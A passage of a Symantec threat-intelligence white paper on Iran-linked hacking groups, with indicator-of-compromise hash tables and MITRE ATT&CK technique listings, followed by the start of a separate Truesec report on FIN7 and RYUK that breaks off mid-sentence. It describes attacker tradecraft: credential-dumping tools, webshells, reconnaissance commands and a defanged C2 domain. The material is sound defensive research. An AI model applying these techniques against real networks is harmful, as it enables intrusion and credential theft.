of the organizations compromised by Chafer in 2017 was a telco services provider in the Middle East, which sells its +solutions to multiple telco operators in the region. By moving two steps up the supply chain the attackers could potentially +have carried out surveillance on a vast pool of end users. Chafer is also known to have attempted to compromise a large +international travel reservations firm, indicating its mission to track movements or communication related to certain entities. +Chafer has been observed compromising victims by attacking web servers, likely through SQL injection attacks. It has also +used malicious documents likely circulated using spear-phishing emails sent to individuals working in targeted organizations. +3.7 Crambus +Name +Crambus +Aliases +Oilrig, Twisted Kitten, APT34, ITG13 +First Seen +2015 +Malware Used +Trojan.Herherminth, Trojan.Ismagent, Poison Frog, Sakabota, QUADAGENT, Glimpse, Highshell +Targeted Sectors +Government, Financial, Technology +Infection Vectors +Email, Watering Holes +Crambus has mounted operations against targets in Saudi Arabia, Israel, the United Arab Emirates, Lebanon, Kuwait, Qatar, +the United States, and Turkey. +The group usually infects its victims with malware via spear-phishing attacks, targeting individuals within organizations of +interest using malicious Office documents with embedded macros to install its backdoor. Crambus has also been known to +send emails containing links to websites registered by the attackers and employ social-engineering tactics to trick victims +into downloading and installing its malware. +3.7.1 Case Study +Between July 2018 and June 2019, Crambus engaged in network intrusion operations against organizations in the Middle +East, with a particular focus on Saudi Arabia and Kuwait. Targets included public administration and defense organizations, +a technology organization, and an airline. +After gaining access to the targeted computers, Crambus executed two backdoors: Sakabota and Poison Frog. Sakabota +can be used for reconnaissance, privilege escalation, lateral movement, and to maintain persistence. It contains additional +functionality shown in Table 3. +Table 3: Additional Sakabota Functionality +Downloading files from a URL +Uploading files over FTP +Taking screenshots +Brute force logins to network shares +Remote port forwarding +Scanning ports +Conducting ping scans +Poison Frog is capable of using DNS tunneling for C&C, uploading and downloading files to a C&C server, and executing +remote commands. +Crambus also deployed the webshells shown in Table 4 on infected computers to maintain persistence. +Broadcom +SED-IAP-WP100 +Symantec Critical Attack Discovery and Intelligence White Paper +Current Iran-Associated Cyber Threats +Table 4: Webshells used by Crambus to maintain persistence +File Name +SHA256 +Owa.aspx +24307b1fa0e6e513355b3143a3c61c5ddf7adf43a70856dd1ab6449cf8cb2408 +Error.aspx.txt +97df67112a953a91bd86a9df3e039493eba95b544a8e3acec2fe5b274c01240a +To collect credentials and escalate privileges, Crambus used a number of publicly available tools including: +Invoke-WCMDump - A PowerShell tool that can dump credentials from the Windows Credential Manager. +Mimikatz - An open-source, post-compromise credential theft tool. +LaZagne - An open-source password recovery tool. +Alongside the lateral movement capabilities of Sakabota, the group used several command-line utilities to perform lateral +movement, including the native Windows utility Netsh and Plink, the command-line tool from the PuTTY suite. +3.8 Other Iran-linked Groups +Table 5: Other Iran-linked Groups +Name +Aliases +Description +Cadelle +Active since at least 2012. Known for compromising a large number of +Backdoor.Cadelspy +individuals in Iran, as well as organizations outside Iran. The organizations +outside Iran include airlines, telecommunication companies, and at least one +Middle Eastern Ministry of Foreign Affairs. Likely linked with the Chafer group. +Both groups have attacked the same organizations, even infecting several of the +same computers. In one case, the same computer was compromised within +minutes by both groups. It is possible that Cadelle and Chafer are one in the +same, however, there is insufficient evidence to definitely state this. +Greenbug +Volatile Kitten, Active since at least June 2016. Involved in targeted attacks in the Middle East Trojan.Ismdoor +Cutting Kitten against organizations in the government, aviation, energy, investment and, +Hacktool.Seasharpee +education sectors. Possible link to Shamoon, since a number of organizations Backdoor.Vodiboti +compromised by Greenbug were subsequently attacked by Shamoon. +Timberworm +Magic Hound, +News Beef +Active since at least 2016. Known to attack organizations in the government, +Backdoor.Mhretriev +energy, chemical/pharmaceutical and transportation sectors. Focused on Saudi Backdoor.Mapkill +Arabia, but victims have also been discovered in Iraq, the UAE, Qatar, and the +U.S. Possibly linked to Shamoon, since a number of organizations compromised +by Timberworm were subsequently attacked by Shamoon. +Cricket +Rocket Kitten, +Flying Kitten +Active since at least January 2010, Cricket initially made its name through +Trojan.Rapidstealer +website defacements but has since expanded into espionage, targeting +Infostealer.Mysayad +dissidents in Iran for surveillance and defense targets in the U.S. Does not +appear to be very sophisticated and relies heavily on social engineering. It may +have purchased or developed custom malware to use in these attacks. +Leafminer +Active since at least March 2017, Leafminer is known to have compromised a Backdoor.Sorgu +number of high profile websites in the Middle East in order to steal SMB +Trojan.Imecab +credentials from victim machines. It has targeted organizations in the +construction, education, engineering, government, IT, legal, and transport +sectors. The group is known to steal email data, SQL databases, and credentials. +Fruitworm +Copy Kitten +Active since at least March 2015, Fruitworm is known to target Israeli individuals Trojan.Jectin +in government organizations and academic institutions. Its primary method of +attack is topic-tailored spear-phishing emails, which are used to deliver malware +to the target. +Broadcom +Tools +SED-IAP-WP100 +Symantec Critical Attack Discovery and Intelligence White Paper +Current Iran-Associated Cyber Threats +Chapter 4: Conclusion +The recent upsurge in tensions between Iran and the U.S. could lead to an increase in both the frequency and +aggressiveness of Iranian attacks. While Symantec has yet to see any evidence of a notable uptick in activity, this should +not be misinterpreted, since planned operations could take some time to prepare and execute. +Organizations associated with the U.S. and its allies are an obvious target. While Iranian actors have, to date, heavily +focused on organizations in the Middle East, attacks against the U.S. should not be ruled out, particularly considering the +heightened state of tensions at present. +However, organizations based in the Middle East are probably those most at risk, given that Iranian groups know this region +best and may already have ongoing compromises. Destructive attacks, such as those involving disk wipers, usually require +some prior compromise of the organization's network. This may mean that any potential destructive attacks could be focused +on the Middle East, particularly if the attackers are under time pressure to retaliate. +Most destructive attacks originating from Iran have involved Shamoon disk-wiping malware. Since Shamoon leverages the +legitimate Eldos driver to wipe machines, organizations concerned about a potential Shamoon attack could mitigate the risk +of exposure by hunting for and disabling the Eldos driver on their network. +In addition to this, any organization that has found evidence of an intrusion by any Iran-linked group in the past should remain +on high alert, since attacks frequently rely on credentials stolen in earlier intrusions. +Nevertheless, any potential target (organizations publicly associated with or strategically important to the U.S. or its allies) +should exercise extreme vigilance and review its security posture. +For a briefing on this white paper, contact us at Threat.Intelligence@broadcom.com to connect with a Symantec security +specialist. +Broadcom +SED-IAP-WP100 +Symantec Critical Attack Discovery and Intelligence White Paper +Current Iran-Associated Cyber Threats +Appendix A: Indicators of Compromise (IOCs) +Table 6: Indicators of Compromise (IOCs) +Group +Description +Shamoon +SHA256: +89850b5f6e06db3965d0fdf8681bc6e55d3b572c97351190c247b9c8b1419850 +Disttrack.B Wiper malware +Shamoon +SHA256: +bac9503a28ef97ee5d77fc3caedbf4f61e975679212f5da7945e6063c1d8a88f +Targeted malware +Shamoon +SHA256: +bd2097055380b96c62f39e1160d260122551fa50d1eccdc70390958af56ac003 +Disttrack.B Wiper malware +Dustman/ZeroCleare +MD5: 1a69a02b0cd10b1764521fec4b7376c9 +Wiper malware (x64) +Dustman/ZeroCleare +MD5: 33f98b613b331b49e272512274669844 +Wiper malware (x86) +Dustman/ZeroCleare +MD5: 69b0cec55e4df899e649fa00c2979661 +ElDos driver (x86) +Dustman/ZeroCleare +MD5: 993e9cb95301126debdea7dd66b9e121 +ElDos driver (x64) +Seedworm +SHA256: +7b4da8f9ffa435c689923b7245133ee032f99fcd841516f2e2275fb4b76d28f9 +Xsxeon +Seedworm +SHA256: +36fc0a750d29ecf1d31ae3c7e834e548fe8eed25db62dfbdbf9148d896c13f59 +Powermud.v2 +Seedworm +SHA256: +5f2eac7251a9fc74309985b3dc1d9730f86c8cd95b22d16b04c0ad0521f10598 +Powermud.v2 +Seedworm +SHA256: +7b93b928bb9e41a7b890bc2ad559044fa39351d7f42a0bcb0ee1d2bb5def8e60 +Powermud.v2 +Seedworm +SHA256: +f0c726c75a79e83ab24c6d6e04022974bd79d35ff4c3e0118e7707eedd7edea2 +Lazagne +Seedworm +SHA256: +905e3f74e5dcca58cf6bb3afaec888a3d6cb7529b6e4974e417b2c8392929148 +Downloader +Seedworm +SHA256: +148839e013fee10ee5007f80de2e169778739e84d1bbb093f69b56060ceef73f +Downloader +Seedworm +SHA256: +18cfd4c853b4fb497f681ea393292aec798b65d53874d8018604068c30db5f41 +Downloader +Seedworm +SHA256: +1d768c6a5165cadf39ac68e4cc294399f09b48dfefd7bfd6d78e75ad882cd3f1 +Downloader +Seedworm +SHA256: +20ec56029ec2dc6a0f86d172f12914d078fc679a8d01257394864413d01d7eda +Downloader +Seedworm +SHA256: +2f69f7df7a2ab7b1803bb50b23ac17f7047b4651513bdff98dae5adee492c98f +Downloader +Seedworm +SHA256: +32c5d06a518a17daf825374449a5096e1109a1eb99c010bb2524b9b0ed6e3114 +Downloader +Seedworm +SHA256: +4a2db2c017b44834bfab8bd7ba107750d77cd1e62db0b4892ab3c053b2d64fae +Downloader +Seedworm +SHA256: +64001be2fc9ccec320d48c75d2de8ad7cd74092065cb44fe35b38624d4493df0 +Downloader +Seedworm +SHA256: +7f31ab924bddc2f20697157f7cfa6ff25adfbbb50403052cccd05dc0e9faabc4 +Downloader +Seedworm +SHA256: +905e3f74e5dcca58cf6bb3afaec888a3d6cb7529b6e4974e417b2c8392929148 +Downloader +Broadcom +SED-IAP-WP100 +Symantec Critical Attack Discovery and Intelligence White Paper +Current Iran-Associated Cyber Threats +Table 6: Indicators of Compromise (IOCs) (Continued) +Group +Description +Tortoiseshell +SHA256: +02a3296238a3d127a2e517f4949d31914c15d96726fb4902322c065153b364b2 +Custom Backdoor +Tortoiseshell +SHA256: +07d123364d8d04e3fe0bfa4e0e23ddc7050ef039602ecd72baed70e6553c3ae4 +Custom Backdoor +Tortoiseshell +SHA256: +07e791d18ea8f2f7ede2962522626b43f28cb242873a7bd55fff4feb91299741 +Poisonfrog +Tortoiseshell +SHA256: +08cb4383288d2e5829b0fc186df36deb6b8078137b6b3a338a0597a665204852 +Alias:Infostealer +Tortoiseshell +SHA256: +0e5d06e08a1a665b1112043e99718392fe1aeb700793fd49be7f60d7f3b63e4d +Custom Backdoor +Tortoiseshell +SHA256: +18e5753be209eafb6292f712d481cf264273d5e592cca81fc2a990440f49a545 +Alias: TCPStager +Tortoiseshell +SHA256: +1c79900c35fcb0e717ccb6939e4a5801ad7c3b7c806a74e48ce9c8a77c135bb5 +CVE-2018-8440 +Tortoiseshell +SHA256: +225e06c4ad0d00387f814de69be3e5dfa655d96e34b94fb0777b6aa045f127d1 +Custom Backdoor +Tortoiseshell +SHA256: +248cbfa25130e37916d4593fc192a2dc666bc67755cdebdc0f1cdf91bd4a518b +Alias:ListNetstat +Tortoiseshell +SHA256: +34588fb9b32d09d83de2f911beed013c87074ad572c97bc0197d30e9777a4154 +Custom Backdoor +Tortoiseshell +SHA256: +3a7b95c93f2e525f7dfa1816652d8cebb682fc9daa26c66e193f0c5190d0ed17 +Poisonfrog +Tortoiseshell +SHA256: +444c4e9b4e0217c7b5a00aab3348913a2ea8aad005cdcd6fc033ef34642d5bf8 +Powershell +Tortoiseshell +SHA256: +4e0ca724fd8a18a94d9dbc990aa506981db700c76e5611a02e189a430d5f4764 +Downloader +Tortoiseshell +5 SHA256: +26799f0791ad26cbd781d89bf4363e6827b3b5f59746405a847dec45f040796 +Alias:ListNetstat +Tortoiseshell +SHA256: +55adf532a7b7fb2b291b88b072fda5c0d642bf9bd4af316ae8c40c70feb391a4 +Alias:Infostealer +Tortoiseshell +SHA256: +5dbd3018d2e6c2b207506d511aa18cbde292c4bf2a127073150cd276fc6e925e +Alias:ListNetstat +Tortoiseshell +SHA256: +694e7361f2698e6995bab4b3d1cda4e98f8d83d1ba8c39367be6158bc17ad30e +Custom Backdoor +Tortoiseshell +SHA256: +707cbcf75a08445479388ade04229c7e08f48cf2f9efc47fc27de564406c56e2 +Custom Backdoor +Tortoiseshell +SHA256: +77a85a06a9c00cc58f4b701ef574389b13b6edd04b93fbabcf0a4de03b68ab76 +Alias:Screenshot +Tortoiseshell +SHA256: +869ae66ec2d7e46cbfb2c3d15b34b77a12a372ed0c5e92587afcce892c1f6b17 +CVE-2018-8440 +Tortoiseshell +SHA256: +882d51c2f258fc4bc189837b6de12760a51764bc0f621a692173273ff59af117 +Custom Backdoor +Tortoiseshell +SHA256: +8f149e7e454053505dcc3252dd72de132298d3c0085640eb959de490347046c1 +Custom Backdoor +Tortoiseshell +SHA256: +9b980581131b070c7b790ca536ac606da913990d888352c99f480f1c0597c3a8 +Downloader +Tortoiseshell +SHA256: +b1223d63a8aea619e006c76a6a8d8ac16808fa65a90b98cfd2bebf470bf6c58e +Downloader +Broadcom +SED-IAP-WP100 +Symantec Critical Attack Discovery and Intelligence White Paper +Current Iran-Associated Cyber Threats +Table 6: Indicators of Compromise (IOCs) (Continued) +Group +Description +Tortoiseshell +SHA256: +bc06dd43d1f3eda6beae85ce31e5798b0888a60c6426b33df5a40e6287b06848 +Custom Backdoor +Tortoiseshell +SHA256: +da060f48b3c681639d8ec285846285ed8fda300fa9ee69a69d4fa8c0420c8070 +Custom Backdoor +Tortoiseshell +SHA256: +ea875796304235077556bfbf23274d25819a42a7ba4ebeabb445274568ab43ac +Custom Backdoor +Tortoiseshell +SHA256: +f71732f997c53fa45eef5c988697eb4aa62c8655d8f0be3268636fc23addd193 +Custom Backdoor +Chafer +SHA256: +1e94a1ca83123688215b64369a37162448a0f3927e3f0f4f412ee352db6abf5c +Exemyr +Chafer +SHA256: +fc74c58705f4d2f6241118b729d86e4610045418690d833de6b123d08d1f8a37 +Trojan +Chafer +SHA256: +d4dcbfbab036132eb6c40c56a44c0d3b4b681b19841b81fc4f8e1d62ea5b211d +Alias: Dntxdoor +Chafer +SHA256: +caa841e4809efdfb3be1de588d74ccf32a96a8c1bc4108d07ade509551ce77e4 +Remexi +Chafer +SHA256: +3ebc9890fa04b1035565d7d273f80032e811ac5e42d3aa1dafe6e33b6572f8cb +Remexi +Chafer +SHA256: +2802ad7e910e4ef647b93f11b3f4a5ec465a0abf16c542884442c70555ca8352 +Mini_rsocks +Crambus +SHA256: +3996efe9a3cf471a1f816287368fa0f99d2cdb95786530b0b61c7b9024ff717b +Alias: Hisoka +Crambus +SHA256: +db1f460f624a4c13c3004899c5d0a4c3668ba99bb1e6be7f594e965c637b6917 +Alias: Sakabota +Crambus +SHA256: +4c68068c16e320e2dd346adfa64686a3bcd5aef98fdc0f69d5f0e82d254eacf4 +Alias: Yakenzi +Broadcom +SED-IAP-WP100 +Symantec Critical Attack Discovery and Intelligence White Paper +Current Iran-Associated Cyber Threats +Appendix B: Mitre Attack Techniques +Table 7: Mitre Attack Techniques +Group +Technique ID +Technique Name +Technique Use +Elfin +T1110 +Brute Force +Elfin has used password spraying to gain access to target systems. +Elfin +T1043 +Commonly Used Port +Elfin has used port 443 for command and control. +Elfin +T1003 +Credential Dumping +Elfin has used a variety of publicly available tools like LaZagne, +Mimikatz, Gpppassword, SniffPass, and ProcDump to dump +credentials. +Elfin +T1002 +Data Compressed +Elfin has used WinRAR to compress data prior to exfiltration. +Elfin +T1132 +Data Encoding +Elfin has used base64 to encode command and control traffic. +Elfin +T1480 +Execution Guardrails +Elfin has used kill dates in their malware to guardrail execution. +Elfin +T1048 +Exfiltration Over Alternative +Protocol +Elfin has used FTP to exfiltrate files (separately from the C2 channel). +Elfin +T1203 +Exploitation for Client Execution Elfin has attempted to exploit a known vulnerability in WinRAR (CVE2018-20250). +Elfin +T1068 +Exploitation for Privilege +Escalation +Elfin has used a publicly available exploit for CVE-2017-0213 to +escalate privileges on a local system. +Elfin +T1040 +Network Sniffing +Elfin has used SniffPass to collect credentials by sniffing network +traffic. +Elfin +T1027 +Obfuscated Files or Information +Elfin has used base64 to encode payloads. +Elfin +T1086 +PowerShell +Elfin has utilized PowerShell to download files from the C2 server and +run various scripts. +Elfin +T1060 +Registry Run Keys/Startup Folder Elfin has deployed a tool known as DarkComet to the Startup folder of +a victim. +Elfin +T1105 +Remote File Copy +Elfin has downloaded additional files and programs from its C2 server. +Elfin +T1053 +Scheduled Task +Elfin has created a scheduled task to execute a .vbe file multiple times +a day. +Elfin +T1192 +Spear Phishing Link +Elfin has sent spear phishing emails containing links to .hta files. +Elfin +T1071 +Standard Application Layer +Protocol +Elfin has used HTTP for command and control. +Elfin +T1032 +Standard Cryptographic Protocol Elfin has used AES for encryption of command and control traffic. +Elfin +T1065 +Uncommonly Used Port +Elfin has used ports 808 and 880 for command and control. +Elfin +T1204 +User Execution +Elfin has lured users to click links to malicious HTML applications +delivered via spear phishing emails.[1][3] +Elfin +T1078 +Valid Accounts +Elfin has used valid accounts for initial access and privilege escalation. +Seedworm +T1088 +Bypass User Account Control +Seedworm uses various techniques to bypass UAC. +Seedworm +T1191 +CMSTP +Seedworm has used CMSTP.exe and a malicious INF to execute its +POWERSTATS payload. +Seedworm +T1059 +Command-Line Interface +Seedworm has used a custom tool for creating reverse shells. +Seedworm +T1500 +Compile After Delivery +Seedworm has used the .NET csc.exe tool to compile executables +from downloaded C# code. +Seedworm +T1175 +Component Object Model and +Distributed COM +Seedworm has used malware that has the capability to execute +malware via COM and Outlook. +Seedworm +T1090 +Connection Proxy +Seedworm has controlled POWERSTATS from behind a proxy network +to obfuscate the C2 location. +Broadcom +SED-IAP-WP100 +Symantec Critical Attack Discovery and Intelligence White Paper +Current Iran-Associated Cyber Threats +Table 7: Mitre Attack Techniques (Continued) +Group +Technique ID +Technique Name +Technique Use +Seedworm +T1003 +Credential Dumping +Seedworm has performed credential dumping with Mimikatz, +LaZagne, and other tools, including by dumping passwords saved in +victim web browsers and email. +Seedworm +T1503 +Credentials from Web Browsers +Seedworm has run a tool that steals passwords saved in victim web +browsers. +Seedworm +T1081 +Credentials in Files +Seedworm has run a tool that steals passwords saved in victim email. +Seedworm +T1002 +Data Compressed +Seedworm has used the native Windows cabinet creation tool, +makecab.exe, likely to compress stolen data to be uploaded. +Seedworm +T1140 +Deobfuscate/Decode Files or +Information +Seedworm decoded base64-encoded PowerShell commands using a +VBS file. +Seedworm +T1173 +Dynamic Data Exchange +Seedworm has used malware that can execute PowerShell scripts via +DDE. +Seedworm +T1083 +File and Directory Discovery +Seedworm has used malware that checked if the ProgramData folder +had folders or files with the keywords "Kasper," "Panda," or "ESET." +Seedworm +T1036 +Masquerading +Seedworm has used filenames and Registry key names associated +with Windows Defender. The group has also stored obfuscated +JavaScript code in an image file named temp.jpg. +Seedworm +T1170 +Mshta +Seedworm has used mshta.exe to execute its POWERSTATS payload +and to pass a PowerShell one-liner for execution. +Seedworm +T1104 +Multi-Stage Channels +Seedworm has used one C2 to obtain enumeration scripts and monitor +web logs, but a different C2 to send data back. +Seedworm +T1027 +Obfuscated Files or Information +Seedworm has used Daniel Bohannon's Invoke-Obfuscation +framework. The group has also used other obfuscation methods, +including Base64 obfuscation of VBScripts and PowerShell +commands. +Seedworm +T1086 +PowerShell +Seedworm has used PowerShell for execution. +Seedworm +T1057 +Process Discovery +Seedworm has used malware to obtain a list of running processes on +the system. +Seedworm +T1060 +Registry Run Keys/Startup Folder Seedworm has added Registry Run key +KCU\Software\Microsoft\Windows\CurrentVersion\Run\SystemTextEn +coding to establish persistence. +Seedworm +T1105 +Remote File Copy +Seedworm has used malware that can upload additional files to the +victim's machine. +Seedworm +T1085 +Rundll32 +Seedworm has used malware that leveraged rundll32.exe in a Registry +Run key to execute a .dll. +Seedworm +T1113 +Screen Capture +Seedworm has used malware that can capture screenshots of the +victim's machine. +Seedworm +T1064 +Scripting +Seedworm has used VBScript and JavaScript files to execute its +POWERSTATS payload. Seedworm has also used Microsoft scriptlets, +macros, and PowerShell scripts. +Seedworm +T1063 +Security Software Discovery +Seedworm has used malware to check running processes against a +hard-coded list of security tools often used by malware researchers. +Seedworm +T1193 +Spear Phishing Attachment +Seedworm has compromised third parties and used compromised +accounts to send spear phishing emails with targeted attachments to +recipients. +Seedworm +T1082 +System Information Discovery +Seedworm has used malware that can collect the victim's OS version +and machine name. +Seedworm +T1016 +System Network Configuration +Discovery +Seedworm has used malware to collect the victim's IP address and +domain name. +Broadcom +SED-IAP-WP100 +Symantec Critical Attack Discovery and Intelligence White Paper +Current Iran-Associated Cyber Threats +Table 7: Mitre Attack Techniques (Continued) +Group +Technique ID +Technique Name +Technique Use +Seedworm +T1033 +System Owner/User Discovery +Seedworm has used malware that can collect the victim's username. +Seedworm +T1204 +User Execution +Seedworm has attempted to get users to enable macros and launch +malicious Microsoft Word documents delivered via spear phishing +emails. +Seedworm +T1047 +Windows Management +Instrumentation +Seedworm has used malware that leveraged WMI for execution and +querying host information. +Chafer +T1090 +Connection Proxy +Chafer used custom tools to create SOCK5 proxies between infected +hosts. +Chafer +T1003 +Credential Dumping +Chafer has used Mimikatz, Ncrack, Windows Credential Editor and +ProcDump to dump credentials. +Chafer +T1002 +Data Compressed +Chafer has used WinRAR and 7-Zip to compress and archive stolen +data. +Chafer +T1046 +Network Service Scanning +Chafer used a custom port scanner known as BLUETORCH +Chafer +T1060 +Registry Run Keys/Startup Folder Chafer has maintained persistence using the startup folder. +Chafer +T1076 +Remote Desktop Protocol +Chafer has been seen using RDP for lateral movement and +persistence. +Chafer +T1021 +Remote Services +Chafer used secure shell (SSH) to move laterally among their targets. +Chafer +T1053 +Scheduled Task +Chafer has created scheduled tasks. +Chafer +T1064 +Scripting +Chafer utilized custom scripts to perform internal reconnaissance. +Chafer +T1023 +Shortcut Modification +Chafer has modified LNK shortcuts. +Chafer +T1045 +Software Packing +Chafer has repacked a modified version of Mimikatz to thwart anti-virus +detection. +Chafer +T1193 +Spear Phishing Attachment +Chafer leveraged spear phishing emails with malicious attachments to +initially compromise victims. +Chafer +T1192 +Spear Phishing Link +Chafer leveraged spear phishing emails with malicious links to initially +compromise victims. +Chafer +T1016 +System Network Configuration +Discovery +Chafer has used NBTScan to discover vulnerable systems. +Chafer +T1033 +System Owner/User Discovery +Chafer used Remexi to collect usernames from the system. +Chafer +T1204 +User Execution +Chafer has sent spear phishing emails in an attempt to lure users to +click on a malicious attachment or link. +Chafer +T1078 +Valid Accounts +Chafer has used stolen credentials to compromise Outlook Web +Access (OWA). +Chafer +T1100 +Web Shell +Chafer has installed ANTAK and ASPXSPY web shells. +Crambus +T1087 +Account Discovery +Crambus has run net user, net user /domain, net group "domain +admins" /domain, and net group "Exchange Trusted Subsystem" / +domain to get account listings on a victim. +Crambus +T1119 +Automated Collection +Crambus has used automated collection. +Crambus +T1110 +Brute Force +Crambus has used brute force techniques to obtain credentials. +Crambus +T1059 +Command-Line Interface +Crambus has used the command-line interface for execution. +Crambus +T1043 +Commonly Used Port +Crambus has used port 80 to call back to the C2 server. +Crambus +T1223 +Compiled HTML File +Crambus has used a CHM payload to load and execute another +malicious file once delivered to a victim. +Crambus +T1003 +Credential Dumping +Crambus has used credential dumping tools such as Mimikatz and +LaZagne to steal credentials to accounts logged into the compromised +system and to Outlook Web Access. +Broadcom +SED-IAP-WP100 +Symantec Critical Attack Discovery and Intelligence White Paper +Current Iran-Associated Cyber Threats +Table 7: Mitre Attack Techniques (Continued) +Group +Technique ID +Technique Name +Technique Use +Crambus +T1081 +Credentials in Files +Crambus has used tools named VALUEVAULT and PICKPOCKET to +dump passwords from web browsers. +Crambus +T1094 +Custom Command and Control +Protocol +Crambus has used custom DNS Tunneling protocols for C2. +Crambus +T1140 +Deobfuscate/Decode Files or +Information +A Crambus macro has run a PowerShell command to decode file +contents. Crambus has also used certutil to decode base64-encoded +files on victims. +Crambus +T1048 +Exfiltration Over Alternative +Protocol +Crambus has exfiltrated data over FTP separately from its primary C2 +channel over DNS. +Crambus +T1133 +External Remote Services +Crambus uses remote services such as VPN, Citrix, or OWA to persist +in an environment. +Crambus +T1008 +Fallback Channels +Crambus malware ISMAgent falls back to its DNS tunneling +mechanism if it is unable to reach the C2 server over HTTP. +Crambus +T1107 +File Deletion +Crambus has deleted files associated with their payload after +execution. +Crambus +T1066 +Indicator Removal from Tools +Crambus has tested malware samples to determine AV detection and +subsequently modified the samples to ensure AV evasion. +Crambus +T1056 +Input Capture +Crambus has used keylogging tools called KEYPUNCH and +LONGWATCH. +Crambus +T1046 +Network Service Scanning +Crambus has used the publicly available tool SoftPerfect Network +Scanner as well as a custom tool called GOLDIRONY to conduct +network scanning. +Crambus +T1027 +Obfuscated Files or Information +Crambus has encrypted and encoded data in its malware, including by +using base64. +Crambus +T1201 +Password Policy Discovery +Crambus has used net.exe in a script with net accounts /domain to find +the password policy of a domain. +Crambus +T1069 +Permission Groups Discovery +Crambus has used net group /domain, net localgroup administrators, +net group "domain admins" /domain, and net group "Exchange Trusted +Subsystem" /domain to find group permission settings on a victim. +Crambus +T1086 +PowerShell +Crambus has used PowerShell scripts for execution, including use of +a macro to run a PowerShell command to decode file contents. +Crambus +T1057 +Process Discovery +Crambus has run tasklist on a victim's machine. +Crambus +T1012 +Query Registry +Crambus has used reg query +"HKEY_CURRENT_USER\Software\Microsoft\Terminal Server +Client\Default" on a victim to query the Registry. +Crambus +T1108 +Redundant Access +Crambus has used RGDoor via Web shell to establish redundant +access. The group has also used harvested credentials to gain access +to Internet-accessible resources such as Outlook Web Access, which +could be used for redundant access. +Crambus +T1076 +Remote Desktop Protocol +Crambus has used Remote Desktop Protocol for lateral movement. +The group has also used tunneling tools to tunnel RDP into the +environment. +Crambus +T1105 +Remote File Copy +Crambus can download remote files onto victims. +Crambus +T1021 +Remote Services +Crambus has used Putty to access compromised systems. +Crambus +T1053 +Scheduled Task +Crambus has created scheduled tasks that run a VBScript to execute +a payload on victim machines. +Crambus +T1113 +Screen Capture +Crambus has a tool called CANDYKING to capture a screenshot of +user's desktop. +Broadcom +SED-IAP-WP100 +Symantec Critical Attack Discovery and Intelligence White Paper +Current Iran-Associated Cyber Threats +Table 7: Mitre Attack Techniques (Continued) +Group +Technique ID +Technique Name +Technique Use +Crambus +T1064 +Scripting +Crambus has used various types of scripting for execution, including +.bat and .vbs scripts. The group has also used macros to deliver +malware such as QUADAGENT and OopsIE. +Crambus +T1193 +Spear Phishing Attachment +Crambus has sent spear phishing emails with malicious attachments +to potential victims using compromised and/or spoofed email +accounts. +Crambus +T1192 +Spear Phishing Link +Crambus has sent spear phishing emails with malicious links to +potential victims. +Crambus +T1194 +Spear Phishing via Service +Crambus has used LinkedIn to send spear phishing links. +Crambus +T1071 +Standard Application Layer +Protocol +Crambus has used HTTP and DNS for C2. The group has also used +the Plink utility and other tools to create tunnels to C2 servers. +Crambus +T1032 +Standard Cryptographic Protocol Crambus used the Plink utility and other tools to create tunnels to C2 +servers. +Crambus +T1082 +System Information Discovery +Crambus has run hostname and systeminfo on a victim. +Crambus +T1016 +System Network Configuration +Discovery +Crambus has run ipconfig /all on a victim. +Crambus +T1049 +System Network Connections +Discovery +Crambus has used netstat -an on a victim to get a listing of network +connections. +Crambus +T1033 +System Owner/User Discovery +Crambus has run whoami on a victim. +Crambus +T1007 +System Service Discovery +Crambus has used sc query on a victim to gather information about +services. +Crambus +T1204 +User Execution +Crambus has delivered malicious links and macro-enabled documents +that required targets to click the "enable content" button to execute the +payload on the system. +Crambus +T1078 +Valid Accounts +Crambus has used compromised credentials to access other systems +on a victim network. +Crambus +T1100 +Web Shell +Crambus has used Web shells, often to maintain access to a victim +network. +Crambus +T1047 +Windows Management +Instrumentation +Crambus has used WMI for execution. +Broadcom +SED-IAP-WP100 +Symantec Critical Attack Discovery and Intelligence White Paper +Current Iran-Associated Cyber Threats +Revision History +SED-IAP-WP100; January 24, 2020 +Initial release. +Broadcom +SED-IAP-WP100 +Collaboration Between FIN7 and the RYUK Group +truesec.com/hub/blog/collaboration-between-fin7-and-the-ryuk-group-a-truesec-investigation +21 December 2020 +Insight +2020-12-21 +A Truesec Investigation +This is an analysis of part of the network of Russian organized crime hacking groups. +Mattias W +9 min read +Executive Summary +This summer Truesec observed an attacker that used the tools and techniques of FIN7, +including the CARBANAK RAT, to take over the network of an enterprise. In a subsequent +attack almost six weeks later this foothold was used to deploy the RYUK ransomware on the +victim network. +This attack marks the first instance Truesec has observed of the combination of FIN7 tools +and the RYUK ransomware, indicating a change in pattern for FIN7 attacks. Up until now +FIN7 has not been associated with ransomware attacks. This also suggests a closer +collaboration between FIN7 and the RYUK group, also known as WIZARD SPIDER or FIN6, +than has been previously known by Truesec. +It is possible FIN7 simply sold the access to the RYUK group, but it is probable that FIN7 and +WIZARD SPIDER are more closely affiliated and may be part of the same organized crime +network. +Introduction +Threat actors are constantly evolving and changing their methods. FIN7 is a financially +motivated threat group that in the past has targeted the retail, restaurant, and hospitality +sectors since mid-2015. They are known to use the CARBANAK RAT for mail-hijacking and +point-of-sale attacks. +This summer Truesec observed an attacker that used the tools and techniques of FIN7, +including the CARBANAK RAT, to take over the network of an enterprise. Later this foothold +was used to deploy the RYUK ransomware on the victim network. +1/14 +This attack marks the first instance Truesec has observed of the combination of FIN7 tools +and the RYUK ransomware, indicating a change in pattern for FIN7 attacks. Up until now +FIN7 has not been associated with ransomware attacks. +Given that ransomware is now the preferred technique for financially motivated attacks, it is +not surprising that FIN7 also switch to ransomware. The attack also indicates that FIN7 now +collaborates with the RYUK group, also known as WIZARD SPIDER or FIN6, in financially +motivated attacks. +Technical Details +Stage 1 + The Phishing +The first part of the attack was a phishing email claiming to be from UPS. +2/14 +Figure 1 + phishing mail +The link in the email redirected the victim to a SharePoint URL that downloads a ZIP file, +Data .zip +, which included a VBS script in the archive, which in turn dropped another script +that launched a JavaScript backdoor on the victim machine. Using a VBS script to drop +JavaScript is a known method used by FIN7 and similar groups. +Stage 2 + The Take Over +JavaScript backdoor +3/14 +This appears to be the same as the JavaScript backdoor in an article by Morphisec from +November 2018. As described in the article this was used by FIN7 to deploy the CARBANAK +RAT. +The backdoor connected to domain sephardimension[.]com. Some of the functions of the +JavaScript backdoor are illustrated below. +Figure 2 + Part of JavaScript backdoor +Figure 3 + Part of JavaScript backdoor +Figure 4 + Part of JavaScript backdoor +These functions are clearly later versions of the code illustrated in the article by Morphisec. +4/14 +From the JavaScript backdoor on the compromised client, the threat actor began performing +typical escalation attempts in the Active Directory. +PowerShell RAT +Once the 